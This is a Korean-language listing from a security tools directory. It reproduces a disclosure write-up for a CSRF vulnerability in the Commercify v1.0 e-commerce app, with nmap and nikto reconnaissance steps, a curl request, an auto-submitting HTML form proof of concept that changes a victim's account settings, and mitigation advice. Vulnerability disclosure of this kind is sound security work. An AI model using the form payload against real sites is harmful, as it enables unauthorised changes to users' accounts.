Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-29722 — Commercify v1.0에서의 사이트 간 요청 위조(CSRF) | Kitploit
도구/GitHubGitHub/cypherdavy/cve-2025-29722
ReconnaissanceVulnerability AnalysisWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubcypherdavy/cve-2025-29722

CVE-2025-29722

Commercify v1.0에서의 사이트 간 요청 위조(CSRF)

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🛡️ CVE-2025-29722 – 사이트 간 요청 위조(CSRF) in Commercify v1.0

발견자: David P.S Abraham (일명 Davycipher)


CVE ID

CVE-2025-29722가 MITRE Corporation에 의해 이 취약점에 할당되었습니다.


요약

@yassmittal이 개발한 오픈소스 전자상거래 플랫폼 Commercify v1.0에서 CSRF 취약점이 확인되었습니다. 이 애플리케이션은 /update_settings와 같은 중요 엔드포인트에 적절한 CSRF 보호 메커니즘이 부재하여, 공격자가 다른 도메인에서 실행될 때 사용자 데이터를 수정하는 악의적인 요청을 구성할 수 있습니다.


영향을 받는 제품

  • 제품명: Commercify
  • 버전: 1.0
  • 저장소: https://github.com/yassmittal/Commercify

취약점 유형

  • CWE-352: 사이트 간 요청 위조(CSRF)

악용 과정

정찰 단계

nmap 스캔 결과 서비스가 포트 5173을 통해 접근 가능함을 확인했으며, 이는 개발 서버임을 시사합니다.

root@kitploit:~
nmap -p 5173 localhost

다음으로, nikto를 사용하여 애플리케이션을 스캔한 결과 다음이 드러났습니다:

  • X-Frame-Options 헤더 누락
  • 허용적인 CORS 정책 (Access-Control-Allow-Origin: *)
  • CSRF 보호 헤더 부재

엔드포인트 무차별 대입

애플리케이션을 탐색하는 동안 사용자 대시보드 기능을 기반으로 update_settings 엔드포인트가 있을 것으로 의심했습니다. 다음 명령어로 테스트했습니다:

root@kitploit:~
curl -X POST "http://localhost:5173/update_settings" \
-d "username=attacker&[email protected]"

404 Not Found가 반환되었지만, 이 동작은 환경에 따라 다릅니다. 유효한 배포에서는 이로 인해 전체 계정 조작이 발생할 수 있습니다.


개념 증명(PoC)

CSRF 결함을 악용하기 위한 HTML 기반 공격:

root@kitploit:~
<form action="http://localhost:5173/update_settings" method="POST">
  <input type="hidden" name="username" value="attacker">
  <input type="hidden" name="email" value="[email protected]">
</form>
<script>
  document.forms[0].submit();
</script>

영향

  • 사용자 계정 데이터의 무단 변경
  • 역할 또는 이메일 조작이 포함된 경우 권한 상승
  • 계정 탈취 시나리오

근본 원인

  • CSRF 토큰 부재
  • SameSite 쿠키 속성 없음
  • 허용적인 CORS (*)
  • Referer 또는 Origin 검증 없음

완화 및 권장 사항

  • 모든 상태 변경 엔드포인트에 CSRF 토큰 추가
  • 쿠키에 SameSite=Strict 또는 Lax 설정
  • 엄격한 CORS 정책 정의
  • Origin/Referer 검증 구현

발견자

David P.S. Abraham
별칭: Davycipher

  • GitHub
  • LinkedIn
  • Website
도구 다운로드